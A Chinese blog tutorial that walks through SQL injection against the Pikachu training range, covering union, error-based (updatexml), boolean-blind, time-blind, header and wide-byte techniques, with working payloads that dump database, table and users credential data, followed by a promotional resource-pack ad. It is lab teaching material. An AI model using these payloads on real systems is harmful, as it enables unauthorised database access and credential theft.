Pikachu(皮卡丘)靶场中SQL注入,零基础入门到精通,收藏这篇就够了

Pikachu靶场详细教程 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。 阅读详情
Pikachu靶场中SQL注入
  • 1.Pikachu(皮卡丘)靶场中SQL注入
    • 1.1.数字型注入
    • 1.2.字符型注入
    • 1.3.搜索型注入
    • 1.4.xx型注入
    • 1.5.insert/update注入
    • 1.6.delete注入
    • 1.7.http头注入
    • 1.8.盲注(base on boolian)
    • 1.9.盲注(base on time)
    • 1.10.宽字节注入

1.Pikachu(皮卡丘)靶场中SQL注入

若遇到不链接的可以参考我的一篇文章,里面包括了绝大部分的注入方式,并且配合案例演示。链接:SQL注入基础原理与案例(超详细)

1.1.数字型注入

1)其实这里能够看到和dvwa靶场中的medium级别差不多,没有地方进行注入,只能进行抓包测试。
在这里插入图片描述

2)这里和上面的low级别一样,采用正常的联合查询。并且这里已经提示是数字型注入了,那么这里就不进行注入类型测试。直接查询显示位。
输入1 order by 3#发现报错,那么这里的数据库的列为1和2。

1 order by 3#

在这里插入图片描述

3)查询显示位名,输入-1 union select 1,2#

-1 union select 1,2#

在这里插入图片描述

4)查询数据库名,输入-1 union select database(),2#获取数据库名为:pikachu。

-1 union select database(),2#

在这里插入图片描述

5)获取数据库的表,输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“pikachu”# 通过获取到的数据库表,我们只需要里面的users。

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"# 

在这里插入图片描述

6)获取数据库的列,输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#获取到数据库的所有列,而在里面我们只需要username和password。

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

在这里插入图片描述

7)获取数据库的账号密码,输入-1 union select group_concat(username),group_concat(password) from users#获得账号密码,密码是加密的,可以进行解密就能获取到了。

-1 union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

1.2.字符型注入

1)这里已经告诉了是字符型注入,但是还是需要测试一下什么闭合。输入kobe’ and 1=1#的时候页面正常,并且kobe’ and 1=2#页面不正常,证明使用单引号闭合。

kobe' and 1=1# 正常
kobe' and 1=2# 不正常

在这里插入图片描述

2)后面的注入方式和数字型基本一直,这里我就随便找几步进行测试。比如这里测试显示位。输入kobe’ order by 3#,就出现了报错。

kobe' order by 3#

在这里插入图片描述

3)查询数据库名,输入1’ union select database(),2#,上面是kobe而这里使用1就是为了让前面报错,执行后面的语句。

1' union select database(),2#

在这里插入图片描述

4)后面方式的和数字型注入都是一样的。

1.3.搜索型注入

1)这里的搜索型注入和上面的字符注入都是一样的,唯一的不同点是在里面需要使用%进行闭合,这个%是在源码中采用模糊查询,所使用到的,所以在我们注入的时候需要对这个%进行闭合。那么这里测试使用上面闭合的时候就需要输入k%’ and 1=1#这样就能够正常显示数据,当输入k%’ and 1=2#的时候就无法显示数据了。

k%' and 1=1#正常
k%' and 1=2#不正常

在这里插入图片描述

2)这里我们也不一步一步测试了,直接获取数据库输入k%’ union select database(),2,3#,可以看到我们也顺利获取数据库了。

k%' union select database(),2,3#

在这里插入图片描述

1.4.xx型注入

1)通过对输入的内容进行测试发现当输入kobe’) and 1=1#页面能够正常显示,而kobe’) and 1=2#则不能正常显示。那么这基本上可以判断此处是采用’)进行闭合。

kobe') and 1=1#正常
kobe') and 1=2#不正常

在这里插入图片描述

2)知道闭合了,那么就可以测试显示位了。这我测试得到的数据库是两列,而且输入kobe’) union select 1,2#后得到了显示位。

kobe') union select 1,2#

在这里插入图片描述

3)我们这里依旧只测试到获取数据库,其他的和数字型注入基本一直,除了闭合方式。kobe’) union select database(),2#,爆出数据库名。

kobe') union select database(),2#

在这里插入图片描述

1.5.insert/update注入

这里只是在注册处进行测试,当然还有修改信息的时候同样能够进行注入,可以自行测试。
  1)这里就需要先进行注册,填入必填项,然后抓包。
在这里插入图片描述

2)把数据发入重放器中,并使用报错注入,在用户名后输入’ and updatexml(1,0x7e,3)and '进行测试,可以看到有报错回复。

' and updatexml(1,0x7e,3)and '

在这里插入图片描述

3)爆出数据库名,当输入’ and updatexml(1,concat(0x7e,database()),3) and '的时候就能够爆出数据库名,数据库名为pikachu。

' and updatexml(1,concat(0x7e,database()),3) and '

在这里插入图片描述

4)爆出数据库的表名,这里我们通过报错注入,获取到数据库的表名,但是我们只要users,其他的不感兴趣。主要是也用不到。

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),3) and '

在这里插入图片描述

5)爆出数据库的列名,当然这里是通过分页显示的,若不分页,显示的不全。

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)and '

在这里插入图片描述

6)爆出账号密码,都需要通过分页进行显示,若不分页则无法显示完全。

账号:' and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3)and '

在这里插入图片描述

密码:' and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3)and '

在这里插入图片描述

1.6.delete注入

1)这里先随便在留言板上输些内容,然后随便删除一个留言,并对其抓包。这里就会发现存在一个ID,可以对其进行注入测试。由于这里我们删除后并不会出现什么提示,所以这里使用报错注入测试。并且经过测试是数字型,字符型不会出现报错的内容。并且需要注意这里空格需要写出+或者%20。

id=57+and+updatexml(1,0x7e,3)

在这里插入图片描述

2)后续的注入测试和insert/update注入一样

1.7.http头注入

1)这里其实可以发现在登录后显示出很多信息,可以对这些显示信息的字段进行测试。
在这里插入图片描述

2)我们刷新页面重新抓包,经过测试发现在User-Agent: 和Accept:处可以进行注入。 这里我们就在User-Agent:进行测试。

' and updatexml(1,0x7e,3)and '

在这里插入图片描述

3)剩下的步骤和之前的一样的操作,这里就不过多操作了。

1.8.盲注(base on boolian)

1)在一些特定的情况下,会对报错信息进行隐藏,那么就无法使用报错进行注入。像这个就需要使用布尔盲注。
在这里插入图片描述

2)判断注入类型,通过对注入类型的判断,可以发现是使用单引号闭合。

kobe' and 1=1# 正常
kobe' and 1=2# 不正常

在这里插入图片描述

3)判断数据库名的长度,通过之前获取到的数据库名是pikachu。一共7位,当然在实际的环境中需要手动一步一步测试。

kobe' and length(database())>8# 不正常
kobe' and length(database())=7# 正常

在这里插入图片描述

4)判断数据库的名,判断数据库名需要一个一个字母测试,通过比对后,获取到的数据库名为pikachu,当然也可以使用ascii函数来进行获取。

kobe' and left(database(),1)='p'# 正常
kobe' and left(database(),2)='pi'# 正常
.........
kobe' and left(database(),7)='pikachu'# 正常

在这里插入图片描述

5)猜测数据库表的数量

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5# 不正常
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5# 正常

在这里插入图片描述

6)猜测数据库表名,这里也只猜测一个案例,其他的还需自己动手测试。这里我们通过之前获取到的数据库表名有httpinfo…users。
第一个表第一个字母是h。

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0, 1),1,1))=104# 正常

在这里插入图片描述

第四个表第二个字母是s。

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3, 1),2,1))=115# 正常

在这里插入图片描述

7)判断列有多少列,比如这里我判断user有多少列。

kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=4#

在这里插入图片描述

8)判断列中第一个列名的长度,通过控制limit的值来判断不同字段的长度。

kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 #

在这里插入图片描述

9)判断列名,比如这里我就判断id,那么id的一个字母是i在ascii码中是105,所以正常,第二列需要变更limit后面的值来实现。通过获取,获得id列、username列、password列。

第一列第一个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#

在这里插入图片描述

第二列第二个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115#

在这里插入图片描述

10)获取username中第一行数据的长度,若想测试第二行,那么修改limit的值即可。

kobe' and length((select username from users limit 0,1))=5#

在这里插入图片描述

11)获取username中第一行第一个字母的值。通过获取得到的值是a,整体是admin。

kobe' and ord(substr((select username from users limit 0,1),1,1))=97#

在这里插入图片描述

12)若想获取username中第二行第二个值怎么获取?可以通过修改limit的值进行获取。

kobe' and ord(substr((select username from users limit 1,1),2,1))=105#

在这里插入图片描述

1.9.盲注(base on time)

1)时间盲注,可以在对话框中输入用户名,不显示是否正确,那么这时候就需要使用到时间盲注。
在这里插入图片描述

2)使用时间盲注进行测试。这里使用原来的什么and 1=2啥的都不行了,需要使用时间盲注来测试,这里先测试闭合方式。

kobe and sleep(5)# 没有延迟
kobe' and sleep(5)# 延迟五秒

在这里插入图片描述

3)判断数据库名的长度,这里为了反应快点,把正确和错误的位置调整一下,把 sleep (5),1 调整为 sleep (1),5 意思就是正确了秒回,不正确则延迟5 秒返回。

kobe' and if(length(database())=7, sleep(1),5)#

在这里插入图片描述

4)判断数据库名。

kobe' and if((select substr(database(),1,1))='p',sleep(1),5)#

在这里插入图片描述

5)判断数据库内表的个数。

kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(1),5)#

在这里插入图片描述

6)判断第一个表的长度。

kobe' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(1),5)#

在这里插入图片描述

7)判断第一个表第一个字母。

kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(1),5)#

在这里插入图片描述

8)其实时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。

1.10.宽字节注入

1)宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个 字符是一个汉字(前一个 ascii 码要大于 128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql 会调用转义函数,将单引号变为’,其中\的十 六进制是%5c,mysql 的 GBK 编码,会认为%df%5c 是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
  2)测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。

1%df' union select 1,2#

在这里插入图片描述

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

Pikachu(皮卡丘)靶场搭建 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。 阅读详情

相关推荐

【Pikachu靶场】皮卡丘靶场使用说明

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。如下图所示,箭头所指的地方提示我们pikachu没有初始化,我们点击此处红字进行初始化安装。在青少年CTF平台,我们很早就增加了这一平台的靶场,我们可以直接通过启动容器打开。首先,我们需要启动环境,点击启动Game-Box即可启动。这里是FRP的提示页面,我们稍作等待,即可进入平台。启动之后,我们点击题目链接进入题目。

zxsctf的博客 1843

Pikachu靶场全级别通关教程详解

Pikachu靶场通关教程,超详细,欢迎评论区留言,一起进步

weixin_52385170的博客 4万+

pikachu SQL注入 (皮卡丘漏洞平台通关系列)

一、官方的戏精引言 本节引用来自pikachu漏洞靶场 哦,SQL注入漏洞,可怕的漏洞。 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。 ...

箭雨镜屋 2万+

Web安全:Pikachu(皮卡丘)靶场搭建.

Pikachu(皮卡丘)是一个自带Web漏洞的应用系统,在这里包含了常见的web安全漏洞。如果你是一个想学习Web渗透测试人员,并且没有找到合适靶场,则可以使用这个Pikachu(皮卡丘)进行练习。(靶场包含:1.暴力破解,2.XSS,3.CSRF,4.SQL注入5.RCE,6.文件包含,7.不安全的文件下载,8.不安全的文件上传,9.越权,10.目录遍历,11.敏感信息泄露,12.PHP反序列化,13.XXE ,14.URL重定向,15.SSRF)

网络安全领域___专研者. 1万+

pikachu靶场 :四、SQL注入

pikachu靶场 :四、SQL注入概述数字型注入(post)字符型注入(get)insert/update 注入insertupdatedelete 注入sql 盲注基于布尔基于时间宽字节注入 概述 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。 一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成...

qq_43233085的博客 2787

一文了解pikachu的SQL注入

本文章主要讲解关于pikachu的注入方式。目录一、数字型注入(post)二、字符型注入(get)三、搜索型注入四、xx型注入五、"insert/update"注入六、"delete"注入七、"http header"注入八、盲注(base on boolian)九、盲注(base on time)十、宽字节注入。

allintao的博客 3645

Pikachu(皮卡丘)靶场中SQL注入

1)宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个 字符是一个汉字(前一个 ascii 码要大于 128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql 会调用转义函数,将单引号变为’,其中\的十 六进制是%5c,mysql 的 GBK 编码,会认为%df%5c 是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。输入kobe’ and 1=1#的时候页面正常,并且kobe’ and 1=2#页面不正常,证明使用单引号闭合。

剁椒鱼头没剁椒的博客 6799

pikachu靶场通过教程

目录 暴力破解 XSS CSRF SQL注入 RCE 文件包含 不安全的文件下载 不安全的文件上传 越权 目录遍历 敏感信息泄露 PHP反序列化 XXE URL重定向 SSRF 暴力破解 暴力破解简单概述 点开基于表单的暴力破解,像我们日常登录的用户密码 我们简单输入admin,admin,错误提示 输入admin,123456,成功提示...

玄道的网安博客 2万+

pikachu靶场之SQL注入

个人觉得SQL注入还是挺难的,关键点在于找SQL语句的闭合,文章会比较长,要是能一关一关对着看的话,会对你有不少好处滴!!!当然啦,手搓重要,学会用sqlmap也是挺重要的哦,主要是我还不会~爆账号密码之类的信息再插一句:设置靶场的人已经告诉我们数据库是mysql了。

2303_79340715的博客 3610

Pikachu 靶场搭建教程

Pikachu 是一个专为 Web 安全学习设计的漏洞靶场,基于 PHP+MySQL,包含了大量 Web 漏洞示例(SQL 注入、XSS、CSRF 等),适合练习和入门。

weixin_75168674的博客 1624

皮卡丘pikachu靶场SQL注入post讲解

他返回用户信息,你可以理解成order by 1就是看有没有第一列的,如果有就返回,如果没有就报错。教大家一个小技巧,在id=那里输入1 and 1=1,如果页面没反应,或者是在id那里输入1 and 1=2后界面变了,说明存在数值型注入。这么长怎么记呢,死记硬背吧,大不了复制粘贴,最后的’pikachu’这里,单引号里输入数据库的名字,他就会显示数据库下所有的表名。你发现把这个改成2了,他还是显示刚才那个用户信息,这时候有的小伙伴会想“我输入的2,不应该返回第二列吗”诶,你看,他报错了,说明什么?

Y2107204611的博客 594

pikachu靶场通关之sql注入

pikachu靶场通关之sql注入

qq_74825121的博客 4408

如何搭建pikachu靶场

Pikachu靶场本地搭建指南 下载安装PHPStudy并启动Apache/MySQL服务 获取Pikachu靶场源码并解压到网站根目录 配置数据库连接信息(修改config.inc.php文件) 创建pikachu数据库(用户名/密码设为root) 访问http://localhost/pikachu测试功能 常见问题:数据库连接失败需检查服务状态和配置信息,页面报错需检查PHP版本兼容性。建议使用PHP7.3/7.4版本,在隔离环境中搭建使用。 (150字)

2401_85351702的博客 1276

pikachu(皮卡丘)靶场 sql数字型注入 详细讲解

这里我详细解释一下table_name,information_schema.tables,table_schema(我第一次学的时候想好久没想明白)id=1 union select 1,2 (随便2个数字)(1)将id=1改为id=1 and 1=1(页面正常)(2)将id=1改为id=1 and 1=2(页面报错)2.通过order by语句判断有几个注入点()(1)id=1 order by 2(页面正常)(2)id=1 order by 3(页面报错)1.判断是否有注入点。

2401_89382898的博客 1266

SQL注入实战:从Pikachu靶场入门到Payload深度解析

SQL注入是一种常见的Web安全漏洞,其原理在于应用程序未对用户输入进行充分验证和过滤,导致攻击者能够将恶意SQL代码插入到后端数据库查询中。这种漏洞的技术价值在于它直接威胁数据安全,可能导致数据泄露、篡改甚至服务器被控制。在应用场景上,SQL注入广泛存在于登录、搜索、数据查询等交互功能中。通过理解其核心机制,安全人员可以更好地进行渗透测试和漏洞修复。本文以Pikachu靶场为例,详细拆解了数字型、字符型、盲注、报错注入等多种攻击手法,并提供了完整的Payload清单和实战指南,帮助读者从基础概念入手,逐步

weixin_30266885的博客 367

Pikachu靶场实战指南:从SQL注入到XSS的Web渗透入门

Web安全的核心在于理解常见漏洞的原理与利用方式。SQL注入通过构造恶意数据库查询语句,绕过应用程序的输入验证,从而窃取或篡改数据,其技术价值在于揭示了后端数据交互中的信任边界问题。XSS(跨站脚本攻击)则聚焦于前端,恶意脚本在用户浏览器中执行,常被用于会话劫持,这凸显了输入输出过滤与编码的重要性。在应用场景上,无论是电商、社交还是企业系统,这些基础漏洞都可能成为攻击入口。本文以Pikachu靶场为演练平台,系统拆解了SQL注入的手工探测、联合查询利用以及XSS的存储型攻击链与Cookie窃取演示,通过具体

weixin_30336061的博客 391

Pikachu漏洞靶场系列之SQL注入

文章目录1.概述1.1.发生原因1.2.注入点类型1.3.SQL注入流程2.数字型注入(POST)2.1.简易2.2.拓展3.字符型注入(GET)4.搜索型注入4.1.拓展5.XX型注入6.insert/update/delete注入6.1.基于函数报错注入总结 1.概述 1.1.发生原因 Web应用程序对用户输入的合法性没有判断或者过滤不严,用户在输入的字符串之中注入SQL指令,导致这些注入进去的恶意指令被数据库误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。 比如我们期望用户输入整数的id,但是

weixin_45868644的博客 3735

Pikachu(皮卡丘)网络安全靶场源码实战项目

Pikachu是一个开源的Web安全测试靶场,专为安全初学者和渗透测试人员设计,内置常见漏洞如SQL注入、XSS、文件包含等。其环境搭建基于PHP+MySQL,推荐使用集成环境(如XAMPP或PHPStudy)快速部署。# 下载Pikachu靶场源码# 将项目放入web根目录并启动服务# Apache + MySQL 启动后,访问 http://localhost/pikachu部署完成后需初始化数据库,在中配置数据库连接信息,并通过完成安装。确保。

weixin_42497762的博客 1263
上一篇: 如何在Windows上配置Windows防火墙,零基础入门到精通,收藏这篇就够了
下一篇: SQL注入漏洞SQL注入高级篇,零基础入门到精通,收藏这篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值